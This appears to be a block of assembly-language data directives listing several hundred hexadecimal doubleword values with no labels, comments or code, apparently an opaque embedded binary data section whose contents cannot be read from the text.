dd 56D78600h, 1EFA84Ah, 6FCF0372h, 0C242404Eh, 0E5ED3298h
dd 43996A00h, 0BA3A1E80h, 0F0609B3h, 61000A9Ch, 0CB6D91A1h
dd 25958900h, 44AA5394h, 0DACD00C5h, 0A45CF957h, 7DE21245h
dd 5F95FF00h, 568BFC13h, 7A3F6BEh, 65532224h, 0EE2590A8h
dd 0FB12F92Fh, 8A44DA2h, 17451F83h, 0F46EC1F6h, 983E2231h
dd 0E5214908h, 0F917074Dh, 0B752Dh, 0A8696858h, 0D7291D00h
dd 13E3D82Fh, 0F94D31AFh, 8B674710h, 20FD7A38h, 0BB7763CCh
dd 0B83B004Ah, 0E892D9AAh, 7900A532h, 88852412h, 667D48Ch
dd 0A013157Dh, 0FA3A39FCh, 0D3950C4Eh, 0F811D7h, 694463F7h
dd 51FF86E1h, 0FC08F166h, 927A21h, 61701460h, 0DC66313Eh
dd 69D86B03h, 603A9B0h, 0B5ADACA0h, 0EB046812h, 7DE31796h
dd 0D2F888C0h, 521309B4h, 7F5D181h, 0A25356CFh, 6FB000FBh
dd 83764918h, 0C0007420h, 7ECFB3D3h, 4C92Ah, 8B08AA47h
dd 691DE34Fh, 84D6DD00h, 2A247880h, 0BEBC09AEh, 0A280CCE4h
dd 0E35FC9A7h, 0B9EBCD24h, 3C611Dh, 0BBB9495h, 2F8DBh
dd 9A2CA1F7h, 481107E6h, 5813F00h, 0A9A48293h, 2B59131Dh
dd 9F77000Ch, 0BBC206ADh, 787DD600h, 0E6ED0147h, 0DCF7031Eh
dd 4B27AEB2h, 0C296FAD0h, 0E2C33500h, 52087DC1h, 8DC6002Dh
dd 0FE57BF5Ch, 0DA014D37h, 729B81D6h, 98E89154h, 459900A1h
dd 84B46DBh, 0FA02BFEAh, 28191679h, 138E4002h, 8BE26Ah
dd 8973BAA6h, 7EDA6712h, 0B961D22Eh, 0FC80321Eh, 53BF4888h
dd 4CC50F2Ah, 37605F20h, 0D58F303Eh, 19BBCE00h, 2897088Ch
dd 0BAFF0623h, 3C299484h, 0DF4DEF0Fh, 3F172074h, 3C92F669h
dd 1E0087CAh, 5E527799h, 36007A34h, 0A9EC8CE8h, 5CDEF818h
dd 8613842Eh, 63D0084h, 3C1B2C81h, 9CA03FF0h, 0DD3A4C4Fh
dd 0A54D80D2h, 28617E16h, 897403C0h, 2A254A6Ah, 877F40A9h
dd 209A1218h, 8F72C3F0h, 0A8640054h, 8626D802h, 0BD019F0Fh
dd 3C13D563h, 618018A3h, 0E589A66Fh, 2A1F0538h, 2C493A04h
dd 1B6E006Ah, 37AC112h, 0F945A8B4h, 0E1C01DB2h, 0AC0095E3h
dd 1A180BF4h, 0CECC04h, 0F8AF9663h, 0E9AA866Fh, 95001CF4h
dd 0EA265DAh, 0DFA4D7Ah, 8F25748Eh, 0F9556028h, 4EF46375h
dd 0C3B5DC00h, 0CD887A21h, 0F09F4882h, 444E201h, 70EE8A3Bh
dd 4A001D24h, 0F93C4212h, 7E60B74h, 0AE9A9F3Eh, 0F0214059h
dd 0C90084F7h, 151DB483h, 0BB450Eh, 8E545C98h, 41B6A67h
dd 6314E15h, 0C4A17E80h, 0B2A8EC72h, 1A998600h, 0E2406D5Ah
dd 0D69E3B66h, 0BC44BAD8h, 73C800E3h, 1F230CEFh, 4E03CBF0h
dd 0DFBCA2DAh, 0D214B8B3h, 16620007h, 0E9F1DD1Bh, 0D81E9102h
dd 9F474F41h, 6CC045EAh, 0B0EB0E49h, 4D69034Bh, 79A4C999h
dd 219144F3h, 0E54FD43Fh, 0F7949050h, 0BE7A8C0Eh, 2936A047h
dd 3C395F34h, 8080CF2Ch, 0F0F538D4h, 0A65011D6h, 4E001BE8h
dd 0D3F70B4Bh, 0FE52C2EDh, 0A0109267h, 0F8B8E990h, 75F1004Ah
dd 41167826h, 5618B46Fh, 4F2963FCh, 52740094h, 0DDFDFBB7h
dd 4005ACD1h, 0AB7C896Bh, 12419400h, 1D601D26h, 8085A06Eh
dd 0C0037AFAh, 1C06A6CFh, 0CBC41E8Dh, 0B9FB0051h, 5C430868h
dd 113D98DFh, 0F1A60083h, 0A4A1FD8Bh, 6A7B2EFAh, 19E30078h
dd 9AE6D2Ch, 0C8375401h, 0AFC280EBh, 0FEAACCh, 4DF683E3h
dd 0BC97FD02h, 0C48C5707h, 201C81E6h, 2A80000Ah, 84C177Bh
dd 1805E4EEh, 0ABBDB28Dh, 87641E80h, 73961C30h, 86BF4368h
dd 0AC0EF08h, 3700C1BAh, 3B58650Dh, 42583E7h, 2D24C711h
dd 9E25C01Ch, 1C90191Fh, 3BAB770Fh, 87B7C0F6h, 0E06C5DA5h
dd 348E0025h, 85F8A84Dh, 5E185CBDh, 0FA987733h, 86AF2439h
dd 6883000Fh, 15E3EFC7h, 5E5F0F00h, 87D45BC2h, 24FFEABh
dd 0A5C3FA75h, 3E064ECh, 490F61E6h, 8C3265h, 0E4563415h
dd 94E300E9h, 0D5CFA6ABh, 0E207EBC1h, 793C2864h, 5F96E4C0h
dd 0A9750C1Ch, 0CC0250Fh, 481BCE20h, 4BA07C65h, 0D8A87E27h
dd 7A00E1E0h, 0BDE1BFAh, 0FC853909h, 0EE1C24F6h, 60738000h
dd 58904B45h, 39CD9E36h, 29963B28h, 0C98F11E0h, 1D00AB90h
dd 0F719A4D6h, 95EFB4h, 796D643Ch, 35595181h, 2E023Fh
dd 8FCD1D6Fh, 89E986h, 9E48FD06h, 0F6519FE7h, 0F2370D0Eh
dd 461F60E6h, 38B5C722h, 8187BBFCh, 70D79610h, 28660A92h
dd 160E9C32h, 7BF060D1h, 51BD09BCh, 0C42084ECh, 199C7FDBh
dd 4C50EA0Bh, 62CE00B3h, 0AEA90Bh, 99DADEA1h, 0E74F6176h
dd 944EC10Ah, 9E0EDCA3h, 49EB2667h, 52DA0011h, 0E8F43D03h
dd 0C3003905h, 0D1E78C01h, 0E5875B8h, 0A3B2C9B4h, 0A815EAA1h
dd 6901C098h, 70718501h, 0E6054E66h, 0A70230h, 7310D55Ch
dd 83E54C8Bh, 0F6A5F800h, 0C91152BBh, 6E6D3B3Dh, 0D3FCCA1Eh
dd 71DC0008h, 0B6A2FABAh, 8CAF5C00h, 213384BDh, 709D5094h
dd 0B8B701C7h, 0AB2952D0h, 0F33CF0D7h, 0B006C74h, 3E2F7B33h
dd 0A1EAEC65h, 0DCE0C6D8h, 0DEA41704h, 170B0063h, 78322216h
dd 622BA100h, 69F670B8h, 9E9C0226h, 0D936575Dh, 80E8C4C0h
dd 8F395498h, 0B1DD03A3h, 80EB111Dh, 39CF66h, 81D3DEF7h
dd 149080FDh, 0A72A8701h, 0BE7EB222h, 0DE00F063h, 8F68AF77h
dd 917053E4h, 581F3400h, 0CC8BA988h, 161D0005h, 0A24EB57Bh
dd 0FE0EA132h, 40978E19h, 0B7EFBD42h, 6F6009Fh, 2A83592Dh
dd 5500D058h, 8C37A5A0h, 0D560Fh, 7C43252Bh, 0D71861ECh
dd 0A4A24913h, 921DA040h, 0F84DCFh, 54D32837h, 0DAEC1642h
dd 39A32000h, 0C9D4F035h, 0DE1500A7h, 4AD61B64h, 620074F3h
dd 0DCE68FB6h, 57DA40h, 0A630FA5h, 7B98692Ch, 0B409149h
dd 201FB7FDh, 0F57A40C0h, 0C34707C8h, 7C85E7F9h, 0A43CE018h
dd 1FDA19B1h, 3A00EC11h, 4973ABE2h, 5FCC20C0h, 0E4E1A3h
dd 8A12C377h, 0F182171Fh, 4A2C68C0h, 41267Fh, 0D4D8E02Bh
dd 0A5F9E6D2h, 0B76ECE0Fh, 23D9C025h, 57C122Ah, 986C2CF5h
dd 14540466h, 0B49E208Ch, 79F361B1h, 4886E11Dh, 38CE9A10h
dd 0B1C8BBC8h, 0E0CBEC1Ch, 0F112A3h, 9F350790h, 746889EBh
dd 0B9620E00h, 80B68A92h, 61A20E69h, 0ACC30214h, 0E09F3D2Eh
dd 4E8291F7h, 5F68F900h, 0D7ADEE8Bh, 54C400CCh, 9FD4077h
dd 102243Eh, 10BE4C9Fh
dd 5A10E00Ah, 81140C7Dh, 3CC898F1h, 87053Bh, 0A9F5FEECh
dd 2B5044h, 0BB5C83F8h, 48C9F24Bh, 4185D800h, 0F11888E9h
dd 3ABE6DEh, 156E4905h, 6591E4BFh, 4AD64310h, 161FC080h
dd 75BED217h, 0C3F8D020h, 983F446h, 0BADE04A5h, 9382807Dh
dd 74CF65h, 0C63CE80Dh, 50ABB173h, 98C4E900h, 2593442Dh
dd 0BE201AAh, 0CFE15B1Eh, 0B6C3F814h, 2CF27C24h, 0C0E9D801h
dd 0C8F87D3Ah, 60A50081h, 0D114285Eh, 2204AEF0h, 0DDF21ABAh
dd 0CF329890h, 0E2D60A97h, 1AFC4F4h, 0F850476Eh, 109AFC15h
dd 0A0769D00h, 37F5698Bh, 6ECA18F9h, 0E2B928EEh, 4D6A5818h
dd 1829911h, 8CC5CC7Ah, 70F0238Eh, 0C6002F4Ch, 53CA29EAh
dd 137BF5Ah, 36CBA7D7h, 0D87D111Eh, 9903814Bh, 0E786B126h
dd 0CA85809Ch, 3F720EAAh, 0D8A01057h, 538AB211h, 1CEB9500h
dd 131F653Ch, 27560582h, 90C90B8Fh, 0E44D5A58h, 1A44330Bh
dd 623CA038h, 22F9B7Ch, 805825CCh, 30C07770h, 0A14C3EC0h
dd 9CF200ACh, 1BE9309Fh, 892B0BC8h, 949066D6h, 3009457h
dd 682A07E2h, 4A199B4Ch, 0CF24045Dh, 12238187h, 4F10F4D3h
dd 0FEF1E900h, 9967E259h, 0FFCF7B1h, 0B87748h, 0E03A9D73h
dd 0BCCB823Eh, 80E3F400h, 28D1164h, 23880EB9h, 570E4110h
dd 6FD91520h, 3100F716h, 0B060FC4Bh, 740D5FC7h, 96628CDh
dd 0E16D0BB0h, 68031938h, 39F823BAh, 5894A64Bh, 7D9900F3h
dd 2BF27003h, 0A200B7F9h, 0E0486117h, 22E9DDBh, 0D036E9D7h
dd 3CC040F5h, 8A00C5BFh, 207F316Ah, 3CA3249h, 3C13DCAEh
dd 0F6D9234Ch, 0F010616Ch, 0CE006ED7h, 0F9D1E8B0h, 949F3Dh
dd 36DFB9B1h, 3BF0C0ECh, 5300089Ah, 4793D8DDh, 0F65CEE6h
dd 0D3BE8C25h, 0BA70FCE0h, 0C52EE021h, 8400348Bh, 9E234D42h
dd 0ABC604E6h, 804393E8h, 800C4F1Ch, 57692B01h, 0C022B43Bh
dd 1BCF4C4h, 0CA123E06h, 0CE994E07h, 5007E850h, 43D9FA4Dh
dd 11515520h, 0A76903D2h, 0C78AF4CEh, 8B6130C0h, 606F7E30h
dd 0FD024Ch, 0CB7BB3EAh, 88B8B965h, 4DA0C100h, 3E49CDFEh
dd 0DF89004Ah, 0A5CEE2B3h, 30ED5878h, 4492973Dh, 0C41FC500h
dd 2E469A1h, 922C9091h, 455300A0h, 0FB061DCh, 7F0066C5h
dd 0AB8C4AC0h, 195CCEFh, 0D13BBA25h, 0DD44ACE5h, 1E1B7006h
dd 853FE00h, 2B61602Ah, 7A1C2442h, 5C9A00E8h, 0CD5799E1h
dd 0D3E44F00h, 3F7C7B1Eh, 0BF20C05Eh, 27FEA6D6h, 0F2225200h
dd 0C59108E7h, 0A9DF00AAh, 34BE84BCh, 0D112A4DEh, 84881C30h
dd 0F15E00ECh, 55286447h, 540017B6h, 9E8E773Eh, 1DE2EEh
dd 0E8CA1E72h, 2D36F746h, 96496F3Ch, 7F096550h, 0B13C82D7h
dd 69C4AEEDh, 899041A8h, 947582C4h, 0EB290E1Ch, 6378803Fh
dd 0CE0A88B5h, 0CB8AAA00h, 7935123Ah, 666A3EABh, 0C560F400h
dd 86271681h, 0A0705A4Ah, 6C4B13h, 919F9929h, 0E9CE2AFBh
dd 0BD937F01h, 79F98AACh, 165D0870h, 0F34430h, 0E0DCFDDAh
dd 0D9E88BDEh, 4194Dh, 0ACC19BD3h, 2CFEAA7Bh, 2D88CE2h
dd 7E0E035Bh, 6FE5B140h, 0C801CE4Bh, 0C8ADD885h, 397AD180h
dd 9A13CA3Dh, 6B5090FAh, 0D260A7C2h, 3E4F8C21h, 0E836027Bh
dd 0AE3E1D4h, 0AD009470h, 2438379Dh, 17A35Bh, 0C652972Dh
dd 50E5FF57h, 74D241C1h, 0A8288192h, 65B4CE0Ch, 9C013141h
dd 0D50E12C5h, 9434A97Eh, 3BAB02E9h, 6A4155C1h, 23F9BC20h
dd 0BC9C4Bh, 0D5A3483Ch, 341ED306h, 53439774h, 0D82A155Bh
dd 168AF342h, 4D915Eh, 2DA8789Dh, 2F00D0A7h, 71C96A92h
dd 0E2B5F429h, 9E2B04E4h, 80AA8033h, 0B02F021Ch, 0A4BB1C28h
dd 0BD9B3206h, 3D114037h, 488025F6h, 717E682Bh, 3E188DE1h
dd 12115E3h, 0F7891EACh, 46378026h, 4B6BBC7Bh, 5300F490h
dd 0CEEF7EE5h, 4D355Ch, 23A6B0A8h, 0ED33C63h, 29757F00h
dd 7CF2FAD9h, 173B5C15h, 5F7DFD00h, 36EF8ECFh, 81A03C00h
dd 0F502749Fh, 469E093Fh, 2800684Ch, 0A06C8E26h, 7AA3370Fh
dd 801EAE25h, 3CE189A6h, 1A4D0130h, 55AECC0Fh, 0F91130C1h
dd 1BBF4005h, 0E000A10Dh, 28275CC8h, 81081F74h, 1D6683EDh
dd 9DD0D887h, 0D4173669h, 3AAC7C09h, 7D90FD00h, 395A4050h
dd 0ECCF9A00h, 5F4B22F5h, 277334h, 0F8DDFFCBh, 6B367311h
dd 68120101h, 0C0E46F0Dh, 781D70h, 0DEF0AD6Dh, 64B0B72Ah
dd 198B7900h, 4E38F71Ah, 0A7AE0127h, 0B872FB0Dh, 5F90D46Ch
dd 0A58E1401h, 0B2709BC1h, 9E38024h, 1EBB0894h, 92891820h
dd 9E3E80AAh, 0DAFE0F4Bh, 0E6AE0FAh, 952801h, 4DDF77Dh
dd 0B34D272Ch, 3903000h, 9BD5BBDFh, 616E174Ah, 7C07AE0Dh
dd 0AAD163BEh, 4FF60E7h, 0B1BCE070h, 1464C118h, 12202987h
dd 3C909198h, 1D7C1216h, 6422C0Bh, 18EEA517h, 7F785AF0h
dd 18086812h, 0E857097h, 0F514FDC0h, 0B7F30462h, 0C75857D1h
dd 27A0BE06h, 7E1CD3F9h, 921B840Fh, 9917C23Fh, 2C38809Ch
dd 0F0267C2Ah, 911C632Bh, 80E00ADDh, 0A50216E0h, 14C3AFE4h
dd 0B658808Ah, 0F5B1D4h, 0E491649Ah, 0C6E8C347h, 5827BC08h
dd 0AAD124Bh, 83B4A359h, 0D42B4938h, 0B13A86E0h, 61A6A100h
dd 65D605F3h, 58A40019h, 4A9CBB50h, 1E0E79CBh, 0A06648A1h
dd 970244A3h, 12B1C1BDh, 0C08249C9h, 0A10109CFh, 21780FA7h
dd 54FC380Bh, 5DB838AEh, 98B9DD02h, 0A0A36479h, 97C8CEF7h
dd 0F807B64Ah, 98D3161Ch, 1E1EECC6h, 572A2Dh, 1D07CC9Eh
dd 0CF1F8DFAh, 0A000C5B5h, 1C532638h, 8583015Fh, 447598E9h
dd 6096D0BBh, 0A539E000h, 0C53E4E6h, 0F2570F2Ch, 0DE40275Eh
dd 0EC4D0E25h, 20EEF100h, 6512ACE2h, 0FB07218h, 1EA1B68Bh
dd 44209BAEh, 826BF31Dh, 3FA738h, 0F9AA9F4h, 3F6342B6h
dd 831D7FD2h, 93C003Bh, 0CFB4818h, 205AAF03h, 30B2B765h
dd 0F9214208h, 0A71CFBB0h, 0F24049D3h, 9AC56217h, 3BAE0189h
dd 4C39AF63h, 300DCD7Bh, 7E6359FCh, 64EEEC18h, 606E7040h
dd 23D5FB55h, 3311E2B0h, 0FB5DE600h, 0C362FC1Bh, 0F267B006h
dd 0F6046B9h, 7F38093Bh, 57AA08AEh, 0E1C0008h, 0FC54879h
dd 1F730424h, 300833h, 7AD47B21h, 0B70DEED8h, 17445701h
dd 14E4226Dh, 861588Eh, 0D1802834h, 27C5477Ah, 858208Ch
dd 793B7C00h, 729AAC49h, 0CC820003h, 9E31997Bh, 26605754h
dd 20D55149h, 0FB6B07ADh, 904BF886h, 5F178FCDh, 36B25Ch
dd 1E9DB5A8h, 0B8AE2666h, 601F03A6h, 7C383F3Eh, 804E2EC1h
dd 587A9E10h, 1652D0h, 38F1BA7Fh, 2295B734h, 0D6307200h
dd 29B15691h, 0DD9D0067h, 16FE2147h, 5438F1F3h, 0D9F5803Ch
dd 0A092D1C6h, 714500FBh, 9B22E27Bh, 670E1438h, 168B91Ah
dd 0C6F12FF3h, 0E6611BFCh, 0D58C03E9h, 0D4BC6CA1h, 5F74E7A0h
dd 0E87A7600h, 7EF6C3F3h, 3120369h, 0BA84C92Fh, 0E2DE1C00h
dd 18060FEDh, 38F6A1h, 217716C6h, 0E3D87262h, 0D056C800h
dd 7BB21055h, 6FE60022h, 413FEBF8h, 8014FBEh, 6CC1E18Eh
dd 23E84903h, 5A3005Eh, 0D4D0FC31h, 0C30058ECh, 92AB51BBh
dd 76B72766h, 0BC8F0016h, 2AD20585h, 0A000982Dh, 3A2FDF01h
dd 60DEE6A6h, 5E6211B8h, 0C0F38560h, 1C00BE9Ah, 0C287143h
dd 5AF221h, 0F4FE37Bh, 0C0EC23F4h, 53A21E00h, 0EA81798Dh
dd 828300DEh, 1CC1AD2Eh, 271DB087h, 7507E049h, 256199ACh
dd 0A883A68Dh, 0D22C4D8Fh, 0CA5808D0h, 22797700h, 38696432h
dd 974E00EFh, 17290AD6h
dd 880021CDh, 53B106E6h, 14A02FE0h, 945610DDh, 9C036700h
dd 111B9D01h, 0F474461Ch, 9755E700h, 0C94B1DBh, 0E37FCBF1h
dd 2D008161h, 72BCC1FBh, 3A38E524h, 0F4BD9D21h, 0E0F59106h
dd 0B43E187Dh, 3100707Fh, 0ED30ECD6h, 32CA0Bh, 7DC9FCA7h
dd 463A8D33h, 0F2398F00h, 8BBDE014h, 1F682CB4h, 931C052Fh
dd 0B7EC0F6Ch, 69F613E1h, 5BC180B6h, 0CB0931EBh, 0E9F003C4h
dd 0F629A157h, 3B103107h, 0BAC0079Fh, 5C11C7h, 20A9C35Dh
dd 95FEBED7h, 6D97AE03h, 901E864Fh, 30BC3066h, 4941FD42h
dd 7D75A13Ch, 7B75F100h, 0CC9DD66Dh, 10A958C6h, 0CBE40A06h
dd 197FD810h, 1EB02B0Fh, 0A96E12h, 210D2A91h, 71B400EFh
dd 0C26D5B19h, 441CAA9Fh, 23408DADh, 0B0C9BBC4h, 74CE0089h
dd 0FA84F937h, 8500A9F5h, 40E9B863h, 40D6F4Bh, 0AE2ED27h
dd 32AC80E5h, 9938FCDBh, 0ABBB0090h, 144C5661h, 7077E1h
dd 53124DFDh, 90412894h, 369CD81Eh, 9395E040h, 2EF496Ah
dd 88AB1422h, 0CD8071A4h, 919EFC2Eh, 0B7323B02h, 829C2779h
dd 20B621F8h, 6D0DE92Eh, 0DEB4F001h, 6E8CCD6Fh, 54BAE720h
dd 6A019h, 0F5D475A7h, 876192DAh, 65F87000h, 0A3B7DE2h
dd 990324E3h, 3558BCF0h, 0B2CF4D00h, 6860C251h, 4F54E600h
dd 0A25F24CBh, 6AF63CDAh, 0BF184D80h, 0E6323A82h, 0E8B840E5h
dd 8249652h, 74904CB4h, 0FE387A80h, 0F4007FEBh, 1941B750h
dd 0CF1D79B3h, 2400EE38h, 5EBA63ADh, 4509A1Dh, 0A400522Eh
dd 0A87BCDAFh, 423900C1h, 814E2F35h, 0BA003324h, 23EC8A1Fh
dd 73D2FE45h, 267667h, 95561B9h, 272433F5h, 80EB4138h
dd 3BD02A90h, 7B712CDBh, 0D73700ACh, 27BFD108h, 42018FAAh
dd 0A39EFBF5h, 0CCE4B460h, 390F006Ch, 7378BBE1h, 0D1008B34h
dd 3F0D5EFBh, 67290C26h, 6EB0200Eh, 7FFED980h, 67014C6Ch
dd 0F277BA73h, 4BF01D3Eh, 0A3C000E3h, 0AD3971A0h, 0E000F0D6h
dd 0D69BC05h, 17152FF6h, 0BE1A7BCFh, 9BD63C01h, 0C0E4C773h
dd 65540587h, 0C74399ABh, 0E11A60F7h, 5250A81Bh, 0C8C01D81h
dd 0F98BBEF5h, 1E9877DFh, 80AE88D3h, 12571635h, 0FE01AAB9h
dd 0C3555E28h, 582067DAh, 15FA0109h, 0BAC7F91Bh, 36488F61h
dd 440EC023h, 12C29B3h, 6EB45F31h, 0E0E7FF32h, 0A4921135h
dd 78200C00h, 46EED0DBh, 248E0059h, 81086A5Bh, 4A26C8BEh
dd 7303007Ch, 0C0218F10h, 0F403787Eh, 0A4550124h, 5EC7F4D8h
dd 0EBE8F07Ah, 0A500CC7Eh, 0AE311076h, 675983h, 0AB1F4FCDh
dd 9C20C02Fh, 6EA0F603h, 806D8DD1h, 73B37981h, 0BAD00084h
dd 0BC96716Bh, 0B9499553h, 13AF39C8h, 2008DD5Eh, 2F40808Dh
dd 0FB209C59h, 4D1ADF00h, 80FFD9F6h, 6B68003Eh, 2DF23B37h
dd 0B700ECD7h, 3AD09EF9h, 9CB2D6h, 0EE4A4E09h, 417C4FD5h
dd 79ADC5Ch, 0CF26E365h, 518AE520h, 82FC3C1Dh, 19700F30h
dd 0B7F6D64Ch, 0E2643C1Ch, 0EA4231C0h, 746DCB81h, 9E5000A7h
dd 5087860h, 860B2B52h, 80BD25C7h, 0EEDDF106h, 98FE0024h
dd 1867019Fh, 0EDA0E857h, 0F1140BB4h, 7284058Fh, 0CED9EC01h
dd 3A725396h, 0F00EA17Fh, 0EFE08065h, 0F0639700h, 0FE2F3D2Bh
dd 175C901Dh, 48EC56Ah, 8116ED02h, 0E4417000h, 0FB0EFA18h
dd 0C01725F6h, 0ED77BF11h, 0F3F50363h, 6FA990C6h, 0AB030FB0h
dd 804C2938h, 456054FFh, 3EA3F0h, 0CE3227EDh, 50312FD9h
dd 35CAF81Ch, 62B9AE00h, 60AD7Bh, 7EAFB741h, 8DCF253Fh
dd 58A03207h, 7D808BB6h, 1389ADD6h, 2144F0h, 0FE9CE5C8h
dd 38030133h, 0E856B8E1h, 8DF8001Ch, 729D092Ah, 3239DCB6h
dd 31B9805Fh, 0D77C9B7Eh, 84ED0088h, 906EB2D1h, 9D28F13Eh
dd 300C8C68h, 11F90648h, 0B21A0CBDh, 0B7E093F0h, 49056206h
dd 21CE21h, 2EC04D7Ch, 0B501AC7Bh, 3466E0Eh, 0E90E20E3h
dd 0FA615307h, 0FA2F0AD2h, 0FC9E26h, 0E1284ED1h, 0AE014A78h
dd 0EA218310h, 5B7005C1h, 40623C55h, 0E3B9C680h, 98CA8766h
dd 9AFC9B00h, 7686741Eh, 0EDA8004Bh, 66B78ABDh, 0AA07EFC3h
dd 67E4BA07h, 0EA97C5A3h, 222C4027h, 1689F487h, 754D843h
dd 90618DC4h, 881E5845h, 490FBC73h, 29093396h, 5A9F00E8h
dd 0E9F154h, 0C26AE38Ah, 3F9FBD72h, 3800F491h, 0A605B5A3h
dd 0F3DA0073h, 5BA59279h, 0F93F6BB7h, 0ADF200D2h, 0F0EC815Ah
dd 1365072Fh, 82DEB3E3h, 0A9E0180Ah, 0E100091Ah, 67BB203Ah
dd 40DC6E6h, 7CA329FFh, 0E7D49068h, 80E92041h, 80F5FC8h
dd 0E81FA58Dh, 109237B9h, 0CE278718h, 0FF3FDBA0h, 0A83A3EF6h
dd 3D0900CAh, 0E10644E7h, 0AFE200FDh, 7D63BE88h, 42049ADEh
dd 8B36B96Bh, 2AE6E1B0h, 423C77ADh, 37A5013Eh, 0B91F5A08h
dd 0C08ADAC4h, 0C6BB9D31h, 3E546263h, 2619AFB4h, 8DA05FC5h
dd 0B6D020FDh, 0E75E14A5h, 0A3002807h, 9B49687Eh, 3B00B01Fh
dd 316F05CBh, 2CEA83h, 7A3A947Ch, 0C45319E5h, 7EAC3D00h
dd 7DD1F81Eh, 0E08E0BA2h, 1B870BF6h, 0B652C07Fh, 0B800E5C1h
dd 390A8DC8h, 0BB0D51h, 0E257D245h, 1566BA7Ch, 776F2302h
dd 0C10CFBEFh, 84F8B695h, 0BACF00A0h, 25ABE392h, 6E007BA4h
dd 0C606DEAAh, 0A5D87Ah, 0AF5DF28Ah, 879F0F5h, 5843D20Eh
dd 173760E3h, 2EA6A291h, 0A2872A0h, 29CAC7Eh, 24647582h
dd 0A9257F40h, 76A1C100h, 2206467Dh, 1DA83FB0h, 4287E0Fh
dd 8B4ADC0h, 0A75EB02h, 30B0A001h, 33D43DD2h, 9632AC52h
dd 23B71F04h, 0DC0106BBh, 20019E5h, 5B4F718Ah, 336818FBh
dd 0CE08E363h, 9DA32100h, 882F7C71h, 1100056h, 65D4F409h
dd 74002966h, 0EB33DCE5h, 1396A3DBh, 723D203h, 70D5D6D0h
dd 0AA675DB1h, 50C69330h, 2E47FFh, 51C8614Ch, 0D972F6B6h
dd 157D3D00h, 6FE1F4E9h, 20416001h, 9105EE22h, 20949329h
dd 307FE3C2h, 0CF19E25Eh, 4F96144h, 0FFFEA07Fh, 983EAE38h
dd 0C0886E7h, 0B520C0E1h, 0DE9F63B9h, 1DC1FF02h, 808A2A45h
dd 2F3BF692h, 0D8C0C37Ah, 8AB79564h, 491280A4h, 4FBBE925h
dd 0B2DEE60Ch, 0C04A08A7h, 25B1EF21h, 0DB032BD8h, 919834D4h
dd 0F4B9397h, 36A7BBB8h, 0E10E9494h, 11B3242Bh, 631CB823h
dd 0C35AC16Dh, 800D44E4h, 0CEB9E9A9h, 75AA8C61h, 0DBB83BCAh
dd 0CC7FD507h, 2FF2E16Fh, 0BCB0BD37h, 0E3A239FEh, 0C075C251h
dd 1CD7678Ah, 98C37A30h, 0C124A93Fh, 36CAB200h, 1140560Bh
dd 0EE9D00ADh, 9263A552h, 0DC060FE4h, 0E7DBAFBBh, 0DD4E10B0h
dd 74B92227h, 280C49BCh, 4271C580h, 448CF35Bh, 0CC1788F9h
dd 0F81DB671h, 9940E780h, 28DD4812h, 46E015BBh, 978E2CC9h
dd 0E0BEFF0Ah, 1B7BB70h, 0BF4E4463h, 0EC96A974h, 6230B65Bh
dd 7C51B0DBh, 8D6D00ADh, 0AB3E5637h, 0C00ED9Bh, 0D17962B1h
dd 502A463Ah, 309FCC03h, 0D6797F5Bh, 0C3075CC4h, 43EC3704h
dd 738CBA20h, 0AD6A267Eh, 0E56B00A0h, 0BBA84870h, 961F8D06h
dd 0FE484249h, 0F93F34ADh, 23682E80h, 87720405h, 2AB8C1AAh
dd 7A347096h, 2D665B09h, 0A6B80094h, 7CF36EFAh, 1431393Eh
dd 20B08B3Bh, 7F225E29h, 96FC2480h, 1E2E801Ch, 2001AEBDh
dd 0BCB13C13h, 0CB23042Fh, 20CC2E00h, 977527h, 0B939B3FCh
dd 0BBBDDA7Fh, 0DC2A820Ch, 6E31DEh, 39FC7CCBh, 12811DBh
dd 360141E6h, 4EFEB0B7h, 1460AD8Ch, 6A2D196Eh, 180290B3h
dd 4C71088Bh, 0F6C4E35Bh, 7192A240h, 8900FA0Bh, 0DCE4047Fh
dd 50DA2B10h, 18318425h
dd 181C7BEFh, 63208ABAh, 5E5F072Dh, 0C1C8D18Fh, 269464D9h
dd 254E13ECh, 31B70009h, 0F0104DECh, 0F60125B6h, 8E5B4E7Ch
dd 608A0393h, 80F0605Ah, 250B3B85h, 0F20E6CBAh, 0BD03C99Bh
dd 0B9127D80h, 90D116CFh, 47F3010Ch, 0C87A27ACh, 3A45E0F8h
dd 3FD4214Dh, 9001F602h, 0C508CFA5h, 893F7ADh, 9FF043D5h
dd 72B0210Dh, 5A00B603h, 323D242Fh, 6FFABE5Bh, 3B8660E1h
dd 0FB0031DAh, 80A3096Ah, 0F9D8276h, 0E14210C9h, 0DCC42036h
dd 580020E7h, 0F902EDC7h, 24777D55h, 1E682459h, 92A74769h
dd 47FBB193h, 20A44531h, 165F092Ch, 0BE840151h, 0DDB10771h
dd 97E5EAD9h, 0A23EC1Ch, 15A07189h, 0CF88EC93h, 7190A480h
dd 0F751ECh, 4BA9B516h, 0DA4D9E81h, 0AC0EA624h, 0A112FE81h
dd 0C8D6C396h, 505EE138h, 7D540D0h, 0A5DCC904h, 76A5CF5Dh
dd 23F83BE5h, 6BD70048h, 3BC32C5Fh, 0FEB9A804h, 0F9456491h
dd 0DAEC0434h, 47051ECEh, 9C0935E6h, 87B49045h, 15D83E50h
dd 100094BCh, 0A00F9521h, 0BF002761h, 547D312Fh, 5CFF5CBBh
dd 40693E6Fh, 42E3A885h, 68385970h, 5C36B700h, 0FB7C137Dh
dd 0B8FC49EBh, 51CDC800h, 8B380F3Ah, 77F8CCD3h, 4707A4B9h
dd 5C9F3B22h, 6FF799F0h, 0D4710095h, 0BAC2B393h, 8800C3CEh
dd 0B094B40Ch, 1F20D04h, 2074AAFCh, 35F9F48Ah, 0FD40D258h
dd 61500D3Ch, 6CF2FC30h, 740BD891h, 93C824B5h, 7638C60h
dd 118EFF23h, 95A11709h, 0AC1000EAh, 0BD3CA458h, 0A8942800h
dd 7D2BF183h, 1A651297h, 0B49C4861h, 89610AC7h, 0C18F7A5h
dd 807A21DCh, 0F5E61721h, 2451F345h, 3C0C7A12h, 6F6C5A07h
dd 0B44BE47h, 4ACC88DFh, 11F4768Ch, 8CE7A58Fh, 29C210Fh
dd 981A210Eh, 0CC627627h, 18B91CC1h, 0C525085Dh, 0FB70EFBBh
dd 14250F45h, 66C00765h, 0ED9601F5h, 2A923B40h, 0A47C44h
dd 318BE0AAh, 0CE64AF58h, 705D5900h, 3EC6FFF4h, 483E98A5h
dd 0C0500C07h, 0C60E8C0Dh, 285B4371h, 40F86417h, 5E71C987h
